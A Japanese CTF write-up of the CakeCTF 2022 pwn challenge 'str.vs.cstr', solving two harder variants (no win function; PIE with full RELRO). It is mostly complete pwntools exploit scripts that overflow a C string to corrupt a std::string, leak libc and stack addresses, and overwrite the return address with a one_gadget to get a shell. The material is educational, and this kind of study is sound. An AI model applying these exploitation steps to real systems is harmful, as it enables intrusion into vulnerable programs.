str.vs.cstr (CakeCTF 2022) HWs WriteUp

# はじめに
この記事は [1日1CTF Advent Calendar 2024](https://qiita.com/advent-calendar/2024/1-day-1-ctf) の 4 日目の記事です。

また、この記事は [前日の記事](https://qiita.com/hiikunZ/items/9c3ecc0d4187665799cd#%E8%80%83%E5%AF%9F) の続きです。まだ読んでいない方は先にそちらをご覧ください。

# 問題
str.vs.cstr (問題出典: CakeCTF 2022)

> Which do you like, C string or C++ string?

リポジトリ: https://github.com/theoremoon/cakectf2022-public/tree/master/pwn/str_vs_cstr

今回は、フラグに書かれていた 2 つの宿題を解く。

## HW1: Remove "call_me" and solve it

宿題1: `call_me` 関数を削除して解く。
```main.cpp.diff
9a10,13
<   __attribute__((used))
<   void call_me() {
<     std::system("/bin/sh");
<   }
```

まずいくつかの関数の GOT を leak して libc を特定する。

前回同様 `str` のデータへのポインタを GOT に書き換え、出力させれば OK 。ただし、今回は `str` の長さまで書き換える必要がある点に注意 (何もしないと長さ 0 の文字列扱いになり何も出力されない)。

```py
from pwn import *
import sys

################################################
# context.log_level = "DEBUG"
FILENAME = "./chall"
LIBCNAME = ""
host = "localhost"
port = 9003
################################################

context(os="linux", arch="amd64")
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME != "" else None

if len(sys.argv) > 1:
    if sys.argv[1][0] == "d":
        cmd = """
        set follow-fork-mode parent
        """
        io = gdb.debug(FILENAME, cmd)
    elif sys.argv[1][0] == "r":
        io = remote(host, port)
else:
    io = process(FILENAME)

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0x404068) + p64(8))  # str のデータのポインタを setbuf の GOT に書き換える + str の長さを 8 に書き換える

io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
setbuf = u64(io.recvline().rstrip().rjust(8, b"\x00"))  #  setbuf の GOT を読み込む
print(f"setbuf: {hex(setbuf)}")

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0x404030) + p64(8))  # str のデータのポインタを __cxa_atexit の GOT に書き換える + str の長さを 8 に書き換える

io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
__cxa_atexit = u64(io.recvline().rstrip().rjust(8, b"\x00"))  #  __cxa_atexit の GOT を読み込む
print(f"__cxa_atexit: {hex(__cxa_atexit)}")

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0x403fe8) + p64(8))  # str のデータのポインタを __libc_start_main の GOT に書き換える + str の長さを 8 に書き換える

io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
__libc_start_main = u64(io.recvline().rstrip().rjust(8, b"\x00"))  #  __libc_start_main の GOT を読み込む
print(f"__libc_start_main: {hex(__libc_start_main)}")

io.interactive()
```

```
setbuf: 0x7744e97fead0
__cxa_atexit: 0x7744e97b9de0
__libc_start_main: 0x7744e9796f90
```

libc を特定したら、libc の `environ` を読めば stack leak ができるので、リターンアドレスを書き換え one_gadget を呼び出して終わり。

```py
from pwn import *
import sys

################################################
# context.log_level = "DEBUG"
FILENAME = "./chall"
LIBCNAME = "./libc.so.6"
host = "localhost"
port = 9003
################################################

context(os="linux", arch="amd64")
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME != "" else None

if len(sys.argv) > 1:
    if sys.argv[1][0] == "d":
        cmd = """
        set follow-fork-mode parent
        """
        io = gdb.debug(FILENAME, cmd)
    elif sys.argv[1][0] == "r":
        io = remote(host, port)
else:
    io = process(FILENAME)

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0x403FE8) + p64(8))  # str のデータのポインタを __libc_start_main の GOT に書き換える + str の長さを 8 に書き換える

io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
__libc_start_main = u64(io.recvline().rstrip().rjust(8, b"\x00"))  #  __libc_start_main の GOT を読み込む

print(f"__libc_start_main: {hex(__libc_start_main)}")

environ = __libc_start_main + 0x1CB670
print(f"environ: {hex(environ)}")

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(environ) + p64(8))  # str のデータのポインタを environ に書き換える + str の長さを 8 に書き換える

io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
stack_leak = u64(io.recvline().rstrip().rjust(8, b"\x00"))  #  environ を読み込む
print(f"stack_leak: {hex(stack_leak)}")

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(stack_leak - 0x100) + p64(8))  # str のデータのポインタを return address に書き換える + str の長さを 8 に書き換える

one_gadget = __libc_start_main + 0xBFB74

io.recvuntil(b"choice: ")
io.sendline(b"3")
io.recvuntil(b"str: ")
io.sendline(p64(one_gadget))  # return address に one_gadget のアドレス を書き込む

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0))  # str のデータのポインタを null に

io.recvuntil(b"choice: ")
io.sendline(b"-1")  # return 0 させるためなので何でもいい

io.interactive()
```

## HW2: Set PIE+RELRO and solve it

```Makefile.diff
2c2
< 	g++ -Wl,-z,lazy,-z,relro main.cpp -o chall -no-pie
---
> 	g++ -Wl,-z,now,-z,relro main.cpp -o chall -pie
```

PIE 有効、FULL RELRO な環境で解いてみる。また、HW1 の縛りも続行。

ここで初心に帰って `c_str` に `AAAAAAAA` を、 `str` に `BBBBBBBB` を書き込んだときの stack の様子を見てみよう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/942569/5f572a81-0f8e-4a26-9698-b7fb8429a684.png)

実は `str` のポインタは (`str` の長さが16以下の時) stack を指しているので、`c_str` に 0x20 文字(と文字列終端に入る null 文字) を入れればポインタをの下 1 byte を `0x00` に破壊できて、スタック上の違う場所を読み出せる。

rsp の位置に stack のアドレスが置いてあるので、破壊したポインタが指す場所いい感じのとき(これは $ \frac{1}{16} $ の確率) 、stack leak ができる。ただし、`str` に長さ 8 の文字列を入れた後にポインタを破壊しないと先ほど同様に長さ 0 の文字列扱いになり何も出力されないので注意。

ポインタがいい感じに破壊できたときの図
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/942569/844bcd72-c26c-cf59-e10a-f7cb29a4e1fc.png)


あとはそこから相対的に libc base を leak してからリターンアドレスを書き換えて one_gadget に飛ばしてあげればよい。

```py
from pwn import *
import sys

################################################
# context.log_level = "DEBUG"
FILENAME = "./chall"
LIBCNAME = "./libc.so.6"
host = "localhost"
port = 9003
################################################

context(os="linux", arch="amd64")
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME != "" else None

if len(sys.argv) > 1:
    if sys.argv[1][0] == "d":
        cmd = """
        set follow-fork-mode parent
        """
        io = gdb.debug(FILENAME, cmd)
    elif sys.argv[1][0] == "r":
        io = remote(host, port)
else:
    io = process(FILENAME)

io.recvuntil(b"choice: ")
io.sendline(b"3")
io.recvuntil(b"str: ")
io.sendline(b"B" * 0x8)  # str のデータの長さを 8 にしておく


io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20)  # str のデータのポインタを破壊

io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
stack_leak = u64(io.recvline().rstrip().rjust(8, b"\x00"))  #  破壊したポインタの先のデータを読み込む
print(f"stack_leak: {hex(stack_leak)}")

assert stack_leak & 0xff == 0x20

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(stack_leak + 0x58) + p64(8))  # str のデータのポインタを return address に書き換える + str の長さを 8 に書き換える


io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
libc_leak = u64(io.recvline().rstrip().rjust(8, b"\x00"))  #  return address を読み込む
print(f"libc_leak: {hex(libc_leak)}")

one_gadget = libc_leak + 0xbfa81

io.recvuntil(b"choice: ")
io.sendline(b"3")
io.recvuntil(b"str: ")
io.sendline(p64(one_gadget))  # return address に one_gadget のアドレスを書き込む

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0))  # str のデータのポインタを null に

io.recvuntil(b"choice: ")
io.sendline(b"-1")  # return 0 させるためなので何でもいい

io.interactive()
```